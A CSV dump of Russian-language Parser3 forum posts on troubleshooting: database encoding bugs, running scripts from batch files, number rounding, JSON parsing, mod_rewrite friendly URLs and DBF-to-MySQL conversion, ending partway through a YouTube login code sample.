"77831","Хотел еще несколько лет назад отрепортить баг о пробеле в полях типа text, но не было острой необходимости.\
Видел также подобный тред в этом форуме, но из него не понял, решена ли проблема.\
Имеем: Parser текущей версии, драйвер PostgreSQL текущей версии.\
Кодировка request/response для сайта windows-1251.\
ClientCharset для connect string с базой UTF-8.\
Создаем тестовую табличку:\
create table parser_test ( comment text );\
insert into parser_test( comment ) values ('');\
Делаем тестовую страничку:\
\
^if(def $form:comment){\
\
^pSQL.void{\
	UPDATE parser_test SET comment = '$form:comment'\
}\
\
}\
\
$comment[^pSQL.table{\
	SELECT comment FROM parser_test\
}]\
\
<form>\
<textarea name=\"comment\">$comment.comment</textarea>\
<input type=\"submit\"></input>\
</form>\
\
Запускаем. Вводим русскую буковку \"а\". Получаем ее же, но с пробелом. Действительно, select length(comment) from parser_test; выдает двойку и присутствует паразитный концевой пробел. Вводим test - пробела нет. Вводим testабвгд - пробел есть. Вводим testабв - пробела нет.\
Явно имеет место какой-то баг с подсчетом длины и/или округлением. Для полей character varying - все нормально. Наверное, это связано с перекодировками - на латинице все нормально и в utf-8 для сайта тоже все нормально. Что делать для windows-1251? На данный момент не могу воспользоваться utf-8."
"77832","я пока не проверял (лень ставить PostgreSQL), но на всякий случай сообщите сразу версию parser и версию драйвера.\
\
если у вас не последние версии, то сразу обновите (на тестовом сервере) и перепроверьте, плиз."
"77833","Parser/3.4.2 (compiled on x86_64-unknown-linux-gnu)\
90296 Мар 24  2010 libparser3pgsql.so 10.3\
Скачано отсюда: http://www.parser.ru/f/1/download/linux/parser3sql_10_3_debian5x64_pgsql.tar.gz"
"77834","а как выглядит строка соединения с БД?\
я правильно понял, что используется перекодирование средствами парсера с помощью опции ?ClientCharset=utf8?\
пробовали перекодировать средствами сервера с помощью опции ?charset=win?"
"77835","Используется такая строка соединения\
$SQL.connect-string[pgsql://user:password@localhost/database?ClientCharset=utf8]\
Если вместо ?ClientCharset=utf8 подставить ?charset=win, то все начинает работать нормально.\
Стало быть, это правильный вариант?"
"77836","то, что не работает ?ClientCharset означает, что в драйвере PgSQL есть баг с перекодированием средствами парсера.\
\
будем смотреть."
"77838","Ок, большое спасибо. Пока буду использовать charset=win."
"77839","в одном скрипте запускаю батник launcher.bat [code]$f[^file::exec[launcher.bat;;1.p]][/code]\
в батнике пытаюсь запустить скрипт 1.p [code]if exist %1 start /b /i parser3.exe ./%1[/code]\
скрипт 1.p\
[code]@main[]\
$result[1][/code]\
получаю в консоле стабильно:\
[code]Status: 500\
Content-Type: text/plain\
Content-Length: 37\
CGI: illegal call (missing PATH_INFO)[/code]\
\
как запустить скрипт из батника?"
"77840","Используя format естественно. через regexp это понятно что можно сделать."
"77842","$a(12.00)\
$a\
$a(12.22)\
$a\
\
Выведет 12 и 12.22."
"77843","ну... так-то оно так. только мне показалось, что автор вопроса не полностью описал условия задачи и я включил \"ванга-mode\".\
\
мне кажется, он имел в виду такое:\
требуется сделать так, чтобы число с любой заданной точностью (в разумных пределах) при выводе форматировалось до 2 знаков после запятой, но без \".00\".\
\
т.е. \
1.224 -> 1.22\
1.2 -> 1.20\
1.00 -> 1\
\
по крайней мере именно такая задача у меня возникала не раз."
"77846","Пытаюсь установить Parser на забугорный хостинг:\
\
[i]Linux infong 2.4 #1 SMP Fri May 18 17:32:59 UTC 2012 i686 GNU/Linux[/i]\
\
Залил cgi, вызываю тестовый файл (лежит в корне), получаю ошибку:\
[code]read failed: No such file or directory (2), actual filename '/.../cgi-bin/test.p3'[/code]\
Пробую открыть /cgi-bin/parser3.cgi, выдает [i]ELF!!![/i].\
\
Подскажите, что это может быть?"
"77849","не забыв показать при этом ваши переменные окружения\
\
P.S. Ванга-mode: кажется вы хотите сделать так, чтобы запущенный из батника парсер думал, что он запущен как standalone скрипт, а не как cgi-приложение (вы не сообщили _как_ вы хотите запустить парсер). чтобы добиться этого вам надо очистить те стандартные переменные окружения cgi, которые сообщают парсеру, что он запущен как cgi."
"77850","1. Сделайте \
[code]\
chmod +x parser3.cgi\
[/code]\
\
2. Parser не назначен обработчиком, это даже более вероятно, иначе ругался бы 500 ошибкой..."
"77851","Все оказалось гораздо проще, вот, что мне ответила тех. поддержка:\
[quote]Regarding with your concern, if you want to install a cgi script please be advise that in our system only \".pl \" that will run on the cgi script and also only PERL script is applicable in our system.[/quote]"
"77852","Сейчас это уже совсем недорого."
"77853","Подскажить как написать регулярное выражение, которое запретит дописывать в строку лишний код. url имеет вид http://сайт.ru/раздел/filtr/?alph=%D0%96 , в переменных {QUERY_STRING} - alph=%D0%96 ,в {REQUEST_URI} - /раздел/filtr/?alph=%D0%96"
"77854","Есть же класс $form:\
Можете через него проверить список переданные переменных.\
Но цель не ясна."
"77855","необходимо сделать 301 редирект при дописывании чего-либо в QUERY_STRING на исходную страницу (до модификации)."
"77856","нужно все сделать в htaccess"
"77858","Проще в корневом auto.p в методе auto произвести проверку и если что не так упасть через ^throw, и далее его отловить и сделать редирект. Ну throw, нужен чтобы не допустить выполнение кода дальше."
"77859","уже много раз переделывал, но так и не продвинулся\
\
вообще считал задачу тривиальной:\
нужно из командной строки запустить скрипт 1.p который бы мог когда ему захочется запускать другие скрипты 2.p каждый в своём окне\
\
Как это мржет быть реализовано под вендой?"
"77861","Судя по ошибке, вы таки пытаетесь запустить не из консоли, а из веб-сервера, нет? Далее непонятно, о каких \"новых окнах\" идет речь,\
если вы запустите из парсера парсер, запустивший процесс все равно будет ждать завершение работы вызываемого скрипта, поэтому практического смысла запускать из парсера парсер нет, с тем же успехом можно просто выполнить код 2p из 1p (^load[], ^process[])."
"77862","[code]@echo off\
cls\
echo Running %0\
echo current dir is %~dp0\
parser3.exe ./master.p\
echo.\
pause[/code]\
master.p\
[code]@main[]\
	^logtime[]: Master script started\
	$list[^file:list[./;\\d+.p^$]]\
	^logtime[]: files ^list.count[]\
	^if($list){\
		^list.menu{\
			^logtime[]: starting launcher for $list.name\
			$f[^file::exec[launcher.bat;;1.p]]\
			$f.text\
		}\
	}{\
		no slaves :(\
	}\
\
@logtime[][now]\
	$now[^date::now[]]\
 $result[^now.sql-string[]]\
\
@postprocess[body]\
	^if($body is string){\
		$result[^taint[optimized-xml][$body]]\
	}{\
		$body\
	}[/code]\
launcher.bat\
[code]@echo off\
\
if not exist \"%1\" goto error_exit\
\
set PATH_INFO=\
set SCRIPT_NAME=\
set PATH_TRANSLATED=\
rem set SCRIPT_FILENAME=\
\
rem %ComSpec% /D /C parser3.exe\
rem start /d D:\\Parser /b \
dir\
parser3.exe 1.p\
\
goto end\
:error_exit\
echo file not found\
:end[/code]\
1.p\
[code]@main[]\
$result[field:value][/code]"
"77863","Running \"L:\\Larrikin\\1\\2\\master.bat\"\
current dir is L:\\Larrikin\\1\\2\\\
2012-12-23 18:19:57: Master script started\
2012-12-23 18:19:57: files 1\
2012-12-23 18:19:57: starting launcher for 1.p\
Том в устройстве L имеет метку L_DATA\
Серийный номер тома: E077-D01D\
Содержимое папки L:\\Larrikin\\1\\2\
2012-12-23 13:41 &lt;DIR&gt; .\
2012-12-23 13:41 &lt;DIR&gt; ..\
2012-12-15 22:27 29 1.p\
2012-12-15 22:19 8 443 help_cmd.txt\
2012-12-22 02:50 267 launcher.bat\
2012-12-15 02:17 52 lexem.cfg\
2012-12-23 13:38 96 master.bat\
5 файлов 8 887 байт\
2 папок 37 713 534 976 байт свободно\
Status: 500\
Content-Type: text/plain\
Content-Length: 40\
Parser/3.4.2 (compiled on i386-pc-win32)\
\
Для продолжения нажмите любую клавишу . . ."
"77864","после такого сразу возникло желание помочь :)\
\
в коде parser3.C есть такое:\
[code]\
	// were we started as CGI?\
	cgi=\
		(\
			getenv(\"SERVER_SOFTWARE\") || \
			getenv(\"SERVER_NAME\") || \
			getenv(\"GATEWAY_INTERFACE\") || \
			getenv(\"REQUEST_METHOD\")\
		)\
		&& !getenv(\"PARSER_VERSION\");\
[/code]\
\
из этого видно, какие переменные окружения парсер анализирует чтобы понять, запущен-ли он как cgi или нет.\
\
чтобы понять что происходит добавляем в launcher.bat строки:\
[code]\
echo \"%SERVER_SOFTWARE%\"\
echo \"%SERVER_NAME%\"\
echo \"%GATEWAY_INTERFACE%\"\
echo \"%REQUEST_METHOD%\"\
echo \"%PARSER_VERSION%\"\
[/code]\
\
и видим, что переменные окружения GATEWAY_INTERFACE и REQUEST_METHOD не пусты, поэтому парсер считает, что запущен как cgi и НЕ смотрит на переданный ему параметр, а пытается получить имя файла через env.\
\
правим это, добавляя в launcher.bat очистку переменных окружения:\
[code]\
set \"SERVER_SOFTWARE=\"\
set \"SERVER_NAME=\"\
set \"GATEWAY_INTERFACE=\"\
set \"REQUEST_METHOD=\"\
[/code]\
\
ещё один способ: установить переменную PARSER_VERSION (а вообще странно, она должна была сама установиться при file::exec[launcher.bat])"
"77865","Это полный код:\
[code]@main[]\
$f[^file::load[text;/json.txt]]\
\
$s[^taint[as-is][$f.text]]\
\
$h[^json:parse[$s;\
	$.distinct[all]\
]]\
\
^h.foreach[key;value]{\
	$key=$value\
}[<br />][/code]\
\
Вот файл с JSON-данными:\
[url=\"http://dubophone.ru/json.txt\"]http://dubophone.ru/json.txt[/url]\
\
Выводится ошибка:\
[quote]В работе Parser произошла ошибка:\
\
method_frame may not be overwritten with hash, store it to variable instead\
\
Ошибку вызвал этот фрагмент:\
MAIN\
Ошибка произошла при работе с файлом:\
\
…//json.html, строка номер 10\
\
Вот что говорится в FAQ об этой ошибке:\
\
Производится попытка добавить в тело страницы объект, который не может быть выведен Парсером. Например, если написать в чистом поле ^date::now[] то получим такую ошибку. Чтобы вывести дату нужно сделать примерно следующее:\
\
$now[^date.now[]]\
^now.sql-string[]\
\
Аналогично с объектами таблица, хеш и т.д.\
\
Проблема возникла при выполнении:\
\
foreach: …//json.html строка 10[/quote]"
"77867","Я просто хотел получить все ключи и их значения.\
$value это тоже хэш выходит? Т.к. хэш вложен в хэш?"
"77868","http://www.parser.ru/docs/lang/opis.htm\
[quote]Тип - имя типа, им может быть системное имя (hash, junction, …), или имя пользовательского класса.[/quote]\
А где находится полный список типов для текущей версии Парсера (3.4.2)?"
"77870","http://www.parser.ru/docs/src/classes.htm#letter_V я так понимаю все что начинается на V"
"77871","[code]^h.markers.foreach[key;value]{\
	$value.name\
}[<br />][/code]\
Нет смысла перебирать значения внутри маркеров из список фиксирован и быстрее их руками сделать, чем перебирать."
"77877","... то можно предположить, что вы спрашиваете о «списке» для того чтобы сделать что-то подобное http://code.google.com/p/dstop/source/browse/trunk/Debug.p"
"77879","Нет :) мои цели не были такими великими. Хотелось делать что-то такое: [code]^if($j is json){…}[/code]. Но потом понял, что JSON-данные легко отличить от других при помощи string.match по регулярному выражению [code]^^{.+}^$[/code]"
"77880","[code]\
  ^try{\
    $data[^json:parse[$dataString]]\
    обрабатываем данные\
  }{\
     $exception.handled(true)\
     Нам дали не json, делаем что-то разумное с данными.\
   }\
\
[/code]\
\
А ваше «регулярное выражение» лишь выполнит «лишнюю» проверку, поскольку парсинг все равно надо заворачивать в try."
"77883","1.Чистим антивирусом локальный комп\
2.Меняем ftp пароль\
3.Ставим Deny from All в .htaccess\
4.Чистим сайт от вражеского дерьма\
5.Включаем доступ и ждем появления вредоносных файлов, по логам выясняем откуда они появились\
6.Удаляем дыру\
7.Радуемся :)\
[url=\"http://www.ybv.ru/archives/116\"]Как удалить вирус со своего хостинга[/url]"
"77885","Интересных задач, адекватного вознаграждения, вменяемых заказчиков и красивых алгоритмов!"
"77888","Пытался установить parser по разному. Пробовал через mod_cgi. То что на форуме нашел - не работает. Пока добился запуска в виде http://localhost/cgi-bin/parser3.cgi (выдает Parser/3.4.2 (compiled on i686-pc-linux-gnu))\
На данный момент http://localhost/parser/index.html выдает 403. \
[code]static-file.exclude-extensions = (\".php\", \".pl\", \".cgi\", \".fcgi\", \".html\", \".p\", \".sh\")[/code]\
Права на исполняемые файлы временно поставил максимальные.\
Пока мысли кончились. Завтра ещё fast-cgi попробую."
"77889","Здравствуйте!\
Есть такая задача: необходимо передать код компании заказчику, но не хочется, чтобы они могли вносить изменения и вообще видели код.\
Можно ли обфусцировать код или может быть есть какие-нибудь другие варианты?"
"77890","Как такого обфускации готовой, насколько я знаю, нету.\
Недавно на хабре была статья, о похожей задаче. Так они просто переменные конвертировали в неудобно читаемый код.\
$_[]\
$__[]\
$___[]\
$____[]\
$_____[]\
$______[]\
$_______[]\
Изучать такой код вряд ли будет у кого желание.\
А если и методы свои и классы так переименовать, то вообще каша будет. Но вот готового решения нету, тут скорее всего подойдет sed + текстовый файлик замен."
"77893","Здравствуйте,\
\
Знает ли кто как скачать через CVS исходники от драйвера SQL для Parser 3.3.0? Я хочю собрать Parser 3.3.0 для 64-битного Linux.\
Где-то нибудь Sumo сказал что исходники от SQL скачаеться так:\
[code]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co sql[/code]\
\
Но это скачает последние. Мне нужные от P 3.3.0.\
\
Парсер скачю через\
[code]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get -r release_3_3_0 parser3[/code]\
\
Потом когда выполняю \
[code]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get -r release_3_3_0 sql[/code]\
...не добавляется исходники ои sql.\
\
Подскажите пожалуйста как скачать исходники от драйвера SQL для Parser 3.3.0.\
\
Заранее спасибо."
"77894","я когда-то работал с необычным хостингом и сделал wrapper чтоб парсер заработал.\
\
посмотирите http://www.parser.ru/forum/?id=71837"
"77895","у драйверов другие имена тэгов.\
\
посмотреть можно тут (в выпадающем select-е):\
http://cvsview.parser.ru/cgi/viewcvs.cgi/sql/mysql/\
\
в настоящий момент цифры версии драйверов есть в имени файла-архива в разделе скачать.\
\
если не ошибаюсь, с версии 3.3.0 и по сей день у SQL драйверов не менялась версия API, т.е. 3.3.0 должен заработать с текущей версией драйверов (для mysql это release_10_5)\
\
но вот 3.3.0 + 64-бита -- вряд-ли соберётся и заработает без проблем. официально только версия 3.4.0 умеет быть 64-битной."
"77896","$foo[0282107]\
foo=$foo ^rem{// 0282107}\
$foo(^foo.int(0))\
foo=$foo ^rem{// 2629895}\
\
Как так???"
"77898","в данном случае десятеричную =)"
"77899","Спасибо. Я определил что во врема Parser 3.3.0 выпускался драйвер SQL 10.2. Надеюсь что все будет роботать правильно на x64"
"77900","Добрый день.\
Пробовал реализовать авторизацию на google.com на парсере, выяснил, какие страницы должны загружаться:\
1. https://accounts.google.com/ServiceLoginAuth\
2. https://accounts.google.com/CheckCookie\
3. https://accounts.google.ru/accounts/SetSID\
\
В браузере при загрузке первой ссылки возникает 302 Moved Temporarily на вторую, потом на третью, затем открывается страница, указанная в параметре continue.\
Проверял при отключенном JavaScript.\
\
В скрипте на первой же ссылке получаю в ответе ошибку: \"В браузере выключены cookie. Пожалуйста, включите их.\"\
В SET-COOKIE приходит только одна кука, а в FireBug указано, что приходит много (при прохождении тех же шагов в браузере, а не скриптом).\
\
Каким образом можно решить проблему?"
"77901","Принцип работы можно посмотреть на https://developers.google.com/accounts/docs/OAuth2\
\
Вы же пробуете обмануть Гугл и пробуете имитировать браузер средствами Парсера, что бесперспективно. Даже если у получится делать это сейчас, то любое изменение алгоритма авторизации и ваш код развалится. Поэтому лучше работать через API.\
\
p.s. Никто из Парсерян не поделится кодом для OAuth-авторизации? :)"
"77902","Из новости 9 июня:\
[quote]И последнее: в настоящий момент необходимые правки внесены только в CVS (стабильная ветка [b]release_3_3_0[/b] и находящаяся в разработке head), поэтому, если вам нужно собрать Parser3 на 64-битной платформе, исходники необходимо взять из CVS.\
[/quote]"
"77903","Парсер 3.3.0 собраный на 64-битной ОС работает правильно с текущей версей драйверов mysql release_10_5.\
\
Здесь доказ:\
http://janek.e-pila.pl/parser3_3_0/\
\
Две вещи мне удивили:\
1) размер parser3.cgi 10 MB\
2) не работает прамый вывод CGI через бровсер\
http://janek.e-pila.pl/cgi-bin/parser3/parser3_3_0.cgi\
[code]apache error_log:\
[Fri Jan 18 23:07:48 2013] [error] [client 84.205.9.76] [Fri Jan 18 23:07:48 2013] [26284] Parser/3.3.0 (compiled on x86_64-unknown-linux-gnu) [no request info]\
[Fri Jan 18 23:07:48 2013] [error] [client 84.205.9.76] Premature end of script headers: parser3_3_0.cgi[/code]\
\
Если кому-то нужен Parser 3.3.0 для Linux x64 - выложу.\
Если не нужен - не выложу.\
\
спасибо за советы"
"77904","здесь выступает цифра 8 и точно 0x282107 = 2629895"
"77905","или\
^foo.trim[0;start]\
^foo.int[]"
"77906",">1) размер parser3.cgi 10 MB\
\
Это с отладочной информацией. strip parser3.cgi, если смущает.\
\
>2) не работает прамый вывод CGI через бровсер\
\
А вот это уже давно исправленная бага."
"77907","Уважаемы гуру и монстры парсера, подскажите плиз может кто сталкивался со следующей проблемой:\
вот этот кусок кода \
[code]^if(^hash_param.contains[price]){$price($hash_param.price)}[/code]\
в $hash_param.price приходит 23019.95\
в $price попадает 23020 \
но самое главное это происходит не всегда, например число 2810.51 обработало нормально, а число 43573.29 округлило до 43573.30 ткните плиз где грабли...\
Заранее спасибо за ответ."
"77908","Научным методом тыка было выяснено что:\
1. числа вида 1234.56 не округляются\
2. числа вида 12345.67 округлятся до вида 12345.60\
3. числа вида 123456.78 округляются до вида 123456\
4. числа вида 1234567.89 округлятся до вида 1234560\
Поясните пожалуйста кто сталкивался с аналогичной проблемой что делать???"
"77911","Поясните пожалуйста, это нормальная ситуация или баг? Честно говоря сталкиваюсь с этим впервые видимо потому что другие проекты работают на более ранних версиях парсера..."
"77912","В новой версии будет получше — Моко кое-какие вещи в этом направлении сделал."
"77916","Округление происходит при выводе (преобразовании из числа в строку). То есть в $price у вас все попадает правильно. Еще желательно при работе с числами избегать присвоений $new_price[$price] - должно быть $new_price($price). Иначе тоже произойдет преобразование из числа в строку. Что же касается округления дробных чисел до 6 значащих цифр, то решение уже написано, на днях будет закоммичено и доступно для использования в ночных сборках."
"77918","Здравствуйте. Столкнулся со следующей проблемой.\
При заходе на сайт, валятся ошибки, что подкючаемые через ^use[/classes/MySqlComp.p] классы не найдены\
 \
[code]read failed: No such file or directory (2), actual filename '/home/host700000/sss.ru/htdocs/www/cgi-bin//classes/MySqlComp.p'[/code]\
\
Почему-то корень сайта теперь отсчитывается от папки cgi-bin, в которой лежит парсер. Там же создалась директория cache, в которой хранятся кэшированные данные.\
\
То есть, если написать подключение классов без первого '/' [code]^use[classes/MySqlComp.p][/code], тогда они найдутся. \
\
Но почему парсер вдруг стал считать корнем cgi-bin/, а не / ?\
\
Ошибка появилась давно, так что о действиях, которые к этому привели, сейчас трудно сказать.\
\
.htaccess в / ничего такого не содержит. Только стандартные директивы для установки парсера."
"77919","Обойти это можно установив правильный [url=http://www.parser.ru/docs/lang/requestdocroot.htm]$request:document-root[/url] из кода."
"77920","Как можно парсером выбрать данные в dbf файле? \
\
под win понятно.. а под debian 6 ?"
"77921","реально ли использовать unixODBC из парсера?"
"77922","парсер может сделать exec, а дальше вы внешними утилитами или скриптами можете получить что надо, но ИМХО проще перегнать файлы в mysql (другую бд)"
"77923","К сожалению достаточно быстро работающих \"перегонщиков\" из DBF в MySQL нет.\
\
dbf2mysql требует \"кульбита с кодировками\". Импорт 1 000 000 записей занимает почти 10 минут.\
\
Есть еще пара скриптов - но они в стадии бета. Поэтому и захотелось уточнить возможно ли как то парсером достать данные из dbf"
"77924","Вы можете попробовать написать свой драйвер к БД или использовать какой-то врайппер в виде консольного приложения, который уже будет делать, что вам надо. Если у вас только выборка, то я думаю не составит проблема найти утилитку, которая может принимать из параметров запрос и выдавать его в виде файла или в стандартный вывод и далее его разобрать уже в парсере.\
\
И как часто у вас будут обновляться файлы? Может все таки стоит придумать какой-то экспорт для сайта более подходящий?\
\
Или написать свой конвертер заточенный по ваши цели. Например вставка такого количества данный в mysql будет намного быстрее из файла, чем через sql."
"77926","Взялся делать ЧПУ. Прочитал темы на форуме по запросу \"ЧПУ\". Так-то примерно понятно, но до конца нигде не написано как реализовать ЧПУ. Т.е. описаны только те этапы, которые и так понятны:\
1) В .htaccess должны быть строки:\
[code]RewriteEngine On\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule ^(.*)$ index.html?uri=$1 [L,QSA][/code]\
2) Теперь у нас есть $form:uri, который можно порезать при помощи ^str.split[].\
\
А дальше? Что-то в голове не укладывается... Надо потом подготовленную нарезку выдавать с помощью $response:location[]?\
Объясните, пожалуйста."
"77927","Совсем общий принцип: есть единая точка входа в ваше приложение на который через mod_rewrite приходит запрос к которому добавлен параметр с текущим урлом (у вас это сделано). Дальше мы по этом урлу определяем что нам надо показать пользователю. Формируем ответ и выдаем в браузер. Никаких редиректов тут не нужно.\
\
Основная проблема во всей этой схеме, как определить по урлу откуда брать данные. Здесь все зависит исключительно от того как устроено ваше приложение. Если это CMS, то нужно сделать метод, который смотрит на дерево страниц и ищет нужную. Если веб-приложение (например, интернет-магазин), то наверняка в нем есть некоторый набор модулей, которые понимают что конкретно приходит в адресе, поэтому надо найти соответствующий модуль и отдать ему урл (или его часть) и попросить сгененрировать страничку. Иными словами, надо понимать как сейчас работает ваше приложение, чтобы понять как внедрять ЧПУ.\
\
p.s. Лучше такие фундаментальные вещи планировать до написания кода. :)"
"77928","Важно знание Parser, MySQL, JavaScript\
Ну само собой HTML+CSS\
Кому интересно, напишите пожалуйста желаемую ЗП и контакты. Можно на почту vruzin@ya.ru\
Работы много и она интересная! Но все по ТК, с 9:30 до 18:00, пн-пт и задерживаться в офисе не требуется."
"77929","Еще не понятно, как проверить, что запросы идут в \"/?uri=\"\
[code]RewriteRule ^(.*)$ /?uri=$1 [QSA,L][/code]\
Тут же сказано, что где бы чел не ходил по сайту - все урлы должны попадать в \"/?uri=\". Например, перешел на http://example.com/?section=1, то должно произойти http://example.com/?url=/?section=1 или типа того... Но ничего не происходит. После модификации .htaccess работа сайта вообще никак не изменилась и в логах ничего нового."
"77930","Возможно посоветую дурное, но тем не менее...\
Если у Вас неглубокая по вложенности и при этом однотипная иерархия, Вы можете описать ее в несколько строк. Например для иерархии\
\
[i]\
/раздел/категория/страница.html\
/раздел/категория/\
/раздел/\
[/i]\
\
код будет примерно таким:\
\
[code]\
RewriteRule ^([a-zA-Z0-9_]+)/([a-zA-Z0-9_]+)/([a-zA-Z0-9_]+)\\.html$	/?section=$1&category=$2&page=$3 [QSA,L]\
RewriteRule ^([a-zA-Z0-9_]+)/([a-zA-Z0-9_]+)/$	/?section=$1&category=$2 [QSA,L]\
RewriteRule ^([a-zA-Z0-9_]+)/$	/?section=$1 [QSA,L]\
[/code]\
\
В этом случае вы загоните урлы в более жесткие рамки, самостоятельно управляя теми наборами, из которых может состоять каждая секция. \
А все дополнительные параметры get (при наличии флагов QSA, L) будут доступны как обычныt значения форм, например для \
\
[i]/раздел/категория/страница.html?section=1[/i]\
\
значение section будет доступно в $form:section."
"77931","Понятно, что можно вручную все правила прописать, но хотелось это дело автоматизировать, как принято в современных CMS. А пока что так и сделано - правила для разделов прописаны руками."
"77932","mod_rewrite кидает в параметр url только то, что идет до вопросительного знака в адресе, остальные параметры (section) приходят как обычно, т.е. после обработки вы получаете дополнительное поле в form. Более того, никакой магии не будет пока вы сами не реализуете в приложении работу с ЧПУ, причем не только разбор, но и генерацию.\
\
p.s. Перейти к более предметному разговору мы сможем только после того как увидим описание архитектуры вашей системы. :)"
"77934","была задача из полученной разницей между датами.. получить количество дней"
"77935","Ну в общем это небольшой сайт:\
[code]/\
-/logos-firstil/ (/?section=1)\
-/sites/ (/?section=2)\
-/polygraphy/ (/?section=3)\
-/pages/ (этот каталог и все вложенные - пока статичные, но надо, чтобы это было наподобие /?page=$page_id)\
--/about/\
--/contacts/\
--/order/\
--/service/\
--/vacancies/[/code]\
И еще проекты (/?pid=$project_id), их около 50 страниц и будет больше. Они выдаются в зависимости от раздела, к которому логически принадлежат, например \"/sites/19/\".\
\
Сейчас в .htaccess 6 правил:\
[code]RewriteRule ^logos-firstil/$ /?section=1 [QSA,L]\
RewriteRule ^logos-firstil/(\\d+)/$ /?pid=$1&section=1 [QSA,L]\
RewriteRule ^sites/$ /?section=2 [QSA,L]\
RewriteRule ^sites/(\\d+)/$ /?pid=$1&section=2 [QSA,L]\
RewriteRule ^polygraphy/$ /?section=3 [QSA,L]\
RewriteRule ^polygraphy/(\\d+)/$ /?pid=$1&section=3 [QSA,L][/code]\
Естественно, не хочется каждый раз прописывать правила вручную при расширении иерархии. Вот и пытаюсь сделать так, чтобы можно было обойтись всего одним правилом."
"77936","Т.е. в Апаче оставляем одно правило, а в коде парсера уже выясняем по строке pid и section."
"77937","[code]RewriteRule ^([a-zA-Z0-9_]+)$ /?uri=$1 [QSA,L][/code]\
Если оставить только одно правило, то почему $form:uri всегда пустой?"
"77939","Если он не работает, то надо смотреть в логи веб-сервера и разбираться почему mod_rewite не работает. Очень полезно пред этим почитать документацию на mod_rewrite – Саша Егоров (egr) ее перевел еще лет десять назад."
"77942","У Александра Егорова все так, как я и делаю. В общем... черт знает что."
"77943","Задача простая. \
\
Есть бд mysql и dbf файл в Dbase 4 например, 1 500 000 записей. 300 БД.\
\
Нужно этот дбф перегнать в БД. Сайт на parser 3.4.2\
\
Имеющиеся средства типа dbf2mysql - имеют ряд недостатков\
\
1. импорт в бд идет в только кодировке latin1 что требует потом выгрузки дампа перекодировки его и загрузки обратно ибо нужно utf8\
\
2. импорт идет медленно. если сравнивать с утилитой подобной для postrgresql разница в 30 раз\
\
\
Идея - выгрузить данные из DBF с помощью parser и unixODBC/\
\
В принципе есть варианты решений на perl PHP Python? но парсер умеет работать с ODBC но только под виндой.\
\
P.S. Если бы я умел писать драйвера под парсер - зачем бы я сюда писал?\
\
Использую парсер с 2004 года и всем доволен. Но вот такой нюанс нарисовался"
"77945","конвертеры есть. Но они либо не поддерживаются., либо недоработаны, либо не ставятся на debian 6.0.6 x64\
\
Либо не работают в консоли.\
\
Данные приходят каждые 20 минут."
"77946","у нас только перегон данных.\
\
Варианты:\
1. напрямую в БД\
2. в csv, txt и load data infile"
"77947","У вас есть файл dbf, соответственно, задача сводится не к импорту его непосредственно в БД, а к переводу в sql-формат.\
Берём утилиту dbf2mysql (или схожую), которая умеет переводить из формата в формат с сохранением результата в файл. Если на выходе только latin1, а нужно что-то другое -- iconv в помощь.\
Сформированный sql заливается в БД, а скорость заливки из файла можно оптимизировать разными способами.\
Парсер тут вообще не нужен по идеологии и ограничениям. Это задачи для cron/shell-скриптов."
"77948","... что если есть примеры для других языков, то вполне можно конвертер сделать на них. Т.е. взять Питон, подсоединиться через unixODBC к dbf и закинуть в MySQL. С кодировками питончик тоже работать умеет."
"77949","Беглый гуглёж показал, что готовых примеров достаточно, особенно по конвертации file-to-file. В том числе и для лечения детских болезней готовых конвертеров типа dbf2mysql."
"77950","Вы сами написали, что конвертация под postrgresql идет в 30 раз быстрее. Может стоит перейти с mysql на postrgresql, я думаю ничего сложного в этом не будет и скорее всего у вас все запустится сразу после замены строки подключения."
"77951","Может не стоит «забивать гвоздь микроскопом» и разобраться с конкретной мелкой проблемой? :)))"
"77952","Проблема в существующих коневекторах dbf2mysql +), если найден готовое приложение которое в 30 раз быстрее перегоняет данные, чем аналогичное решение для mysql, я бы задумался.\
Да может кривой конвертер, но если нет доступа к исходникам, что проще перейти на другую БД.\
Тем более все таки постгресс все таки получше мускуля будет, по отзывам."
"77953","Он, конечно, \"лучше\", но вопросы совместимости там совсем не прозрачные. Даже в описаниях таблиц, не говоря уже о чём-то более сложном. Строкой подключения врял ди обойдётся.\
\
А вот написать/допилить конвертацию на готовых примерах и утилитах -- пара часов работы, как мне кажется."
"77954","Собственно говоря используется Mariadb"
"77955","Причем iconv как раз и используется."
"77957","Даже платные.. одни не ставятся, другие просто не работают"
"77958","1. Ускорить dbf2mysql\
2. Добавить поддержку dbase7\
\
http://packages.debian.org/sid/dbf2mysql"
"77960","Добрый день.\
\
Я представляю команду startup-проекта \"Спорт вокруг\" (http://www.sportvokrug.ru/)\
\
Нам нужны parser-разработчики, готовые работать в удаленном режиме.\
Если вас интересует это предложение - пишите мне на madmount@gmail.com."
"77961","А с примером это как будет выглядеть? Что-то не могу найти смысл в этом."
"77962","Вот авторизация на YouTube, выдрал куски кода из одного прокта. Думаю, что не составит труда модифицировать под свои нужды: ведь там единая авторизация.\
\
[code]\
@USE\
io/pfCFile.p\
\
@auto[]\
\
	$YouTube[\
		$.ready(false)\
	]\
\
@main[]\
	\
	^pfCFile:session{\
		^if(^clientLogin[]){\
			\
			^if(^getToken[]){\
				\
				^rem{ Все ок, можно делать что-то дальше }	\
			}{\
				^rem{ Токен не получен }\
			}\
		}{\
			^rem{ Клиент не атворизован }\
		}\
	}\
\
\
@clientLogin[][res;data]\
	\
	$result(false)\
	\
	^try{\
\
		$res[^pfCFile:load[text;https://www.google.com/youtube/accounts/ClientLogin;\
			$.charset[UTF-8]\
			$.content-type[application/x-www-form-urlencoded]\
			$.enctype[application/x-www-form-urlencoded]\
			$.timeout(20)\
			$.method[POST]\
			$.any-status(true)\
			$.headers[\
				$.X-GData-Key[key=Здесь надо вставить хеш-строку с ключом]\
			]\
			$.form[\
				$.Email[Почта]\
				$.Passwd[Пароль]\
				$.service[youtube] ^rem{ Пример для YouTube }\
				$.source[Проект]\
			]\
		] ]\
\
		^if($res.status == 200){\
		\
			$data[^string:js-unescape[$es.text]]\
			$data[^str.split[^#0A;lh]]\
			\
			^if($data is table){\
\
				$YouTube.auth[^data.0.trim[left;Auth=]]\
				$YouTube.user[^data.1.trim[left;YouTubeUser=]]\
				\
				^if(def $YouTube.auth &&  def $YouTube.user){\
					\
					$YouTube.ready(true)\
					\
					$result(true)\
					\
				}{\
